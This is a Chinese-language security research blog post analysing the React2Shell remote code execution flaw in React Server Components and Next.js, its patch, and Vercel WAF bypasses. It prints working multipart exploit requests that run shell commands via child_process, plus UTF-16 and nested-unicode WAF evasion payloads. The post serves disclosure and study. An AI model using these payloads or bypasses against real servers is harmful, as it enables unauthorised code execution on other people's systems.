React2Shell攻防笔记:原理挖掘与价值15万美元的WAF绕过思路
React Server Components和Next.js在2025年12月初出现严重漏洞React2Shell(CVE-2025-55182),允许攻击者通过构造特定Multipart数据包执行任意代码。该漏洞核心在于混淆数据与业务逻辑,利用Thenable对象递归解包机制触发攻击。作者详细分析了漏洞原理,并展示了如何通过UTF-16编码等方法绕过WAF检测,在Vercel官方组织的活动中获得5万美元奖金。官方最终通过引入特殊Symbol常量修复该漏洞。 2025-12-30 03:52:13 Author: govuln.com(查看原文) 阅读量:14 收藏

2025年12月初,React Server Components和Next.js出现核弹级漏洞React2Shell(CVE-2025-55182),这几个周末我陆陆续续在「代码审计知识星球」里写了5篇相关文章:

这5篇文章从JavaScript Thenable的原理讲到最后的Vercel WAF挑战赛,基本上从底层到顶层,完整剖析了React2Shell这个漏洞。

我现在挑出其中第4、5篇,发布在我的博客里,分享一下漏洞的核心原理,以及我参与Vercel官方(Next.js的开发商)组织的WAF绕过活动并获得5万美元奖金的故事。

0x01 漏洞的本质是“混淆数据和业务逻辑”

在我们学习SQL注入的漏洞的时候,前辈就告诉过我们大部分漏洞的本质——“混淆数据和业务逻辑”。SQL注入是用户的输入变成了SQL语句的一部分,命令注入是用户的输入变成了系统命令的一部分,XSS是用户的输入变成了HTML或JavaScript的一部分。

不巧的是,React2Shell这个漏洞实际上也有类似的问题,网上几乎所有文章都没有讲明白这一点。

我在《3. RSC是怎样解析数据包的?》里介绍过Chunk的解析流程:React会遍历所有multipart字段,并将其使用JSON.parse()解析成一个对象,再递归遍历这个对象的所有子孙结构,如果发现值是$开头,再按照一定的规则进行相互“引用”,用以扩展原始JSON中不支持的数据类型。

解析处理完成后的对象,将会放在chunk.value中,成为当前这个Chunk的,也就是“数据”。但实际我们观察一下这个我简化过的React2Shell漏洞的POC:

POST / HTTP/1.1
Host: localhost
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 659

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "process.mainModule.require('child_process').execSync('calc.exe');",
    "_chunks": [],
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

很明显,Multipart 0中模拟了一个假的Chunk的对象。这就引出了第一个问题:这个假对象是怎样从“数据”变成真正的Chunk对象的?

0x02 $@0$0的区别

我在上一篇文章中介绍过引用类型的编码格式,这里面有两个关键的类型:

编码格式 类型 示例 解析方式
$<id> Chunk 引用 "$1", "$a" getOutlinedModel(id) - 获取另一个 chunk 的值
$@<id> Promise引用 "$@1" getChunk(id) - 返回 chunk 本身(类 Promise)

当Chunk 1中使用$0来引用Chunk 0中的值,此时工作流程是:

  1. 查找Chunk 0,如果已经解析过,则直接将chunk0.value赋值给chunk1.value
  2. 查找Chunk 0,如果发现还没有解析,则将Chunk 1的状态设置成blocked,等待Chunk 0解析后填充
  3. Chunk 0解析后,将chunk0.value赋值给chunk1.value

当Chunk 1中使用$@0来引用Chunk 0中的值,此时工作流程是:

  1. 查找Chunk 0,不论其是否解析完成,直接将Chunk 0返回
  2. chunk0本身赋值给chunk1.value

由于$0$@0的不同,造成chunk1.value中存储的数据类型不同。既然chunk1.value有可能会存储一个Promise对象,那么后续一定有某个地方会对它执行“解包”(比如对其进行await或调用它的then())。

我们回到代码中,reviveModel方法用于处理JSON解析后的对象,得到的value最后会进入wakeChunk()函数:

image-20251229005619173.png

wakeChunk()这个函数的作用就是调用之前所有的resolve(),value作为resolve的参数:

image-20251229014746633.png

这时又涉及到JavaScript中另一个特性:resolve(value) 的value是Promise或Thenable时,Promise会自动"解包"它。具体来说,JavaScript会调用该Promise的.then()方法,递归地等待其完成,直到得到一个非Promise的值。这意味着,当上一个 then 返回的是普通数据时,JavaScript将其直接交给下一个 then方法;当上一个then返回的是一个Promise时,JavaScript会自动解包这个Promise,将最终的结果值交给下一个then方法。

我使用下面三个小例子作为演示:

// 场景1:返回普通值
Promise.resolve(1)
  .then(x => x + 1)  // 返回 2(普通值)
  .then(x => console.log(x));  // 直接接收到 2

// 场景2:返回 Promise
Promise.resolve(1)
  .then(x => Promise.resolve(x + 1))  // 返回 Promise<2>
  .then(x => console.log(x));  // 自动解包,接收到 2(不是 Promise)

// 场景3:多层嵌套也会递归解包
Promise.resolve(1)
  .then(x => Promise.resolve(Promise.resolve(x + 1)))
  .then(x => console.log(x));  // 仍然接收到 2

Flight第一次解析$@0获得的是真实的Chunk,将其传给resolve()时进行了第一次解包,解包后的value是攻击者构造的“假Chunk”。但JavaScript发现这个对象存在then方法,是一个Thenable对象,由于递归机制的存在,于是会继续对这个对象进行解包。

第二次解包时,Chunk就完全变成了用户控制的对象,这里就开始混淆了数据逻辑对象,最终导致了漏洞。

我们总结一下,React2Shell这个漏洞的核心原因就是:React Flight在解析用户输入的时候,混淆了数据和Chunk对象,导致攻击者可以伪造Chunk对象,接着利用后续的逻辑造成任意代码执行。

0x03 构造Payload

理解了原理,我们来看看这个payload是怎样构造出来的:

{
  "then": "$1:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
    "_chunks": [],
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

首先,假Chunk必须是一个Thenable对象,所以需要有then方法,这里直接随便引用另一个字段的then方法$1:then即可。status等于resolved_model和reason等于-1都只是为了让这个Chunk对象正常而不出错地往下执行,直到开始解析这个Chunk的value,也就是{"then":"$B1337"}

当引用类型是B时,我们看看其执行的代码:

image-20251229030919149.png

这几行代码里面,id是1337,虽然可控但无法利用,prefix是response._prefixresponse来自于当前Chunk的_response属性,完全可控,所以blobKey是可以前半部分可控的字符串。

response._formData.get因为也来自于当前Chunk的_response属性,也是完全可控的,所以最后这段代码实际上就可以变成可控函数名(可控字符串)

我们只要让response._formData.get变成一个恶意函数,比如eval,而response._prefix是恶意代码即可。这里作者并没有找到可以直接利用的eval方法,退而求其次,最后利用到了JavaScript中的Function函数。

在JavaScript中,某个对象的.constructor属性是这个对象的构造函数,而.constructor.constructor就是这个对象的构造函数的构造函数,而任何函数的构造函数都是Function

Functioneval类似,只不过它其中的代码不是立刻执行,而是需要再次调用才能执行:

// 立刻弹窗
eval('alert(1)')

// f调用后才会弹窗
var f = Function('alert(1)')
f()

// xx.constructor.constructor()也一样
var f = {}.constructor.constructor('alert(1)')
f()

所以,$B1337的返回值最后被控制成chunk1.constructor.constructor('var res=process.mainModule.require...'),这是一个函数,将这个函数赋值给then属性后,在下一次resolve()的时候触发,最终完成任意代码执行。

0x04 补丁

React官方将这个漏洞的补丁藏在了一堆其他业务逻辑的PR中:https://github.com/facebook/react/pull/35277,为此评论区还多有诟病。

其实大部分补丁代码都在这个隐藏的packages/react-server/src/ReactFlightReplyServer.js里:

image-20251229040952147.png

点击Load diff查看diff,我们发现官方引入了一个特殊的,Symbol()类型的常量RESPONSE_SYMBOL

type RESPONSE_SYMBOL_TYPE = 'RESPONSE_SYMBOL'; // Fake symbol type.
const RESPONSE_SYMBOL: RESPONSE_SYMBOL_TYPE = (Symbol(): any);

后续所有对response的引用都使用这个Symbol作为key,而JSON反序列化无法构造出Symbol,也就保证了攻击者无法再构造出恶意的Chunk。

0x05 Vercel WAF?

完全理解漏洞的原理已经是好些天以后的事儿了,如果回到React2Shell的POC刚出来那天,我一白天都在忙应急,兼着分析一下漏洞的原理,直到半夜还没完全弄明白核心原理,只是把外围的一些逻辑调试清楚了。

12点多,我还在继续研究漏洞原理,@pyn3rd 徐师向我提出了如何绕过vercel的WAF的问题,我当时觉得还挺有趣的,于是就开始尝试绕过:

image-20251230005457330.png

最开始我也没有测试环境,只是在找怎么不使用“constructor”这个关键词的方法,其实大部分人应该都可以想到两个方法:

  • 既然Payload是JSON编码,直接使用JSON支持的unicode编码即可,比如将constructor改成\u0063onstructor
  • 部分WAF为了平衡效率和覆盖率,可能会放过超大数据包

前者,如果不是太拉跨的WAF,应该都不会这么简单,除非配置规则的人完全不懂技术;后面这个方法,有一种暴力美学的意思,实战中可以尝试,但对于技术研究没太大意义,我也没有深入测试。

说句题外话,Next.js默认接收请求包的缓冲区大小是1MB,所以只要WAF能够应付1MB以上的数据包,就不会被这个方法绕过。当时Cloudflare WAF默认的缓冲区只有128K,于是官方开始尝试将其提高到1MB,这个过程的一个Bug导致了Cloudflare网络出现大面积故障。对这件事情感兴趣的同学,可以阅读这篇文章:《Cloudflare outage on December 5, 2025》。

0x06 利用UTF16绕过通用WAF

因为以前在长亭科技工作时测试雷池的时候积累过很多WAF绕过的经验,这次的Payload又是基于Multipart的,我遂去看了React解析Multipart包的代码。发现它用了一个第三方库busboy,我阅读其源码时发现其中有个关键字“base64”。

我迅速让AI帮忙完整地过一下整个项目,看看base64在其中起到了什么作用:

image-20251230014059399.png

很遗憾,如果将charset设置成base64,字段的内容将会被编码而非解码,这也就无法利用它来绕过WAF。不过我注意到这个库里另外一系列编码:

image-20251230015340498.png

utf16在安全领域内并不陌生,我之前在星球里这个帖子中介绍过当年使用双编码绕过青藤Webshell检测的过程,其中就有讲过utf16的使用。在RFC 7578中,也明确规定了可以在Multipart的header中指定当前这个字段的字符集,busboy也只是实现了这个特性而已。

我迅速让AI帮我编写了一个辅助脚本,它可以将用户输入的字符串转换成utf-16编码并以URL编码的形式输出:

image-20251230021217250.png

复制URL编码后的payload,放在Burpsuite中,选中右键 ➡️ Convert Selection ➡️ URL ➡️ URL-decode,就可以得到原始的utf16字符串,发送数据包发现可以正常执行任意命令:

image-20251230020329901.png

最开始发现这个绕过方法的时候,Vercel还没有在hackerone上开启赏金活动,我也没想到后面能给这么多钱,于是就直接在代码审计星球做了分享:https://t.zsxq.com/Lkjec,同时也在X上发了推文分享:https://x.com/phithon_xg/status/1997005756013728204

分享完后我就睡觉了,第二天中午才起床,起床就发现Vercel发布了赏金活动,而且奖金居然高达5万美元。我迅速将昨晚的研究成果整理了一下提交到hackerone,但当时我已经不报太大希望,毕竟这个方法我都公开在星球和X上至少10个小时了。

没想到最后虽然utf-16确实被人抢先提交了,但我仍然依靠对数据包的简单修改,拿到了5w美元的奖金。也就是说,最后这一个绕过原理就价值10万美元。

image-20251230023029714.png

0x07 多重unicode绕过

12月6号下午,就在我提交hackerone报告没多久,charset的方法就被修复了。并且Vercel除了对“constructor”关键字进行拦截,同时也对“_response”这个key进行了检测,这一下子其实就把难度提升了不少。

此后的几天,我和小伙伴们仍然在研究是否有其他的绕过方法。随着对漏洞原理的不断深入理解,有一天我突然想到,是否可以将真正漏洞利用的部分放在最外层Chunk的value中,这样就可以多重unicode编码绕过对关键字的检测了:

image-20251230022510461.png

我在《4. React2Shell漏洞原理》中介绍React2Shell的原理时提到,resolve(value)的时候对于Thenable是递归执行的,也就是说,最外层的Chunk的value中可以放子Chunk,子Chunk的value中可以放孙子Chunk,可以无穷递归下去。而每一次递归,都是一次JSON的解析,也就可以多一次unicode编码。

按照这个思路我进行了尝试,但是很不幸,一旦最外层没有_response这个字段,解析就会因为缺少字段而报错终止:

image-20251230024826860.png

想要不出错,最外层的Chunk必须有_response._chunks属性,比如:

{
  "then": "$1:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\": \"\\u00241:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"\\u0024B1337\\\"}\", \"_response\": {\"_prefix\": \"var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=\\u0024{res};307;`});\", \"_chunks\": [], \"_formData\": {\"get\": \"$1:\u005cu0063onstructor:\u005cu0063onstructor\"}}}",
  "_response": {
    "_chunks": "$1:_response:_chunks"
  }
}

但这个payload就没有办法将_response藏到多重unicode后面,无法绕过Vercel最新的规则。

不过,如果按照Vercel第一次的规则(只检测constructor关键字)来检测,这个多重unicode编码的方法是可行的:

image-20251230030131873.png

12月19日,Vercel官方在这篇博文种总结了这一次绕过挑战赛的情况,果然也提到了我的这个思路:

But what if you could Unicode encode the Unicode encoding? And then do it again?

Lachlan and Sylvie discovered that an exploit gadget that could force the React flight protocol to perform repeated JSON decoding of the same string. Any WAF robust against N layers of Unicode encoding could be defeated by using the gadget N+1 times. Seawall now recursively decodes until the payload is fully normalized, closing this class of bypass entirely.

React2Shell漏洞的原作者Lachlan和Sylvie,就是利用这个思路进行的WAF绕过,我猜这也就是Vercel官方将_response也加入检测规则的原因了吧。

0x08 一定需要Multipart吗?

在《3. RSC是怎样解析数据包的?》这篇文章里,我曾提到“换句话说,请求必须要是POST方法,且包含一个不为空的Next-Action头,且Content-Type是multipart/form-data”。但是,Content-Type真的必须是multipart/form-data吗?

但是之所以认为漏洞的利用必须是Multipart数据包,原因是非Multipart的情况下Next.js会检查Next-Action中指定的action id是否存在:

image-20251230032819834.png

这个action id是一个hex字符串,如果说服务端没有用到任何server action,这个检测逻辑将会永远绕不过去,这导致无法正常利用。所以,现在大部分的POC才使用Multipart进行利用。

但是,如果我们要测试的目标存在至少一个server action,我们就可以在页面源代码或数据包中找到至少一个合法的Next-Action头:

image-20251230033547047.png

将这个hex字符串放在Next-Action头中,即可利用application/x-www-form-urlencoded来发送数据包:

image-20251230033622768.png

如果对方的WAF没有考虑这种情况,也将会导致被绕过。


文章来源: https://govuln.com/news/url/0PWN
如有侵权请联系:admin#unsafe.sh